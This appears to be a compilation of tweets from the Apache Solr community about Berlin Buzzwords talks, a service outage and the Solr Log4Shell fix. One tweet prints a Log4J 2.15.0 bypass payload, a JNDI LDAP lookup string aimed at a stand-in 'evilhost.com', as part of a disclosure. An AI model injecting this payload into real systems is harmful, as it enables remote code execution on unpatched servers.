Our "Circular Dependency Fixes when Bootstrapping a Golden Set" submission got accepted to @berlinbuzzwords. I'm so grateful - it's a conference very dear to me - and I can't for preps and to share the stage with @kucrafal again!
Hey @stoplightio what's up with the service? We are getting 500s on our project though we didn't touch it for 2 weeks - support is silent, Discord invitation link doesn't work and your status pages are showing everything is operational.
It is great that together with
@radu0gheorghe
we will be again a part of the
@berlinbuzzwords
this time with our short talk about heap sizing and GC tuning for Apache Solr and friends. Check out all the sessions - https://t.co/ujOeHQkxDP and see you in Berlin in June!
I haven't watch TV for quite some time and today was the first day that I watched something else than VOD or one of the followed creators on Youtube. It seems Christmas are just around the corner. Did I miss something, is it already December?
We have just released the first badge of sessions for Berlin Buzzwords 2023 and are exicted to have such an amazing lineup of speakers this year! Explore the sessions now at https://t.co/K02nrOaKBO #bbuzz
Impressive to see @Airbnb leading by example here -- work remotely or come to the office (your choice), no change in compensation if you move your home temporarily, etc.: @FactoftheDay_1 https://t.co/2ULy9KBWD7
@georg_ringer@tmotyl @Cybersmog @sasunegomo That's a very good question. @tmotyl I think we should get back to the boosting configuration and modify it.
FIX: Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual. #Log4Shell 1/n
Apache Solr 8.11.1 was just released and includes the fix for vulnerability found in the log4j library called Log4Shell - https://t.co/tho59WXe0y and in Polish: https://t.co/IBSZwgeH5r
Please fix your #Apache#Solr server, because it is affected by #log4shell attack (it logs by default all query strings to its log file with #log4j): https://t.co/tGs4zxKCv9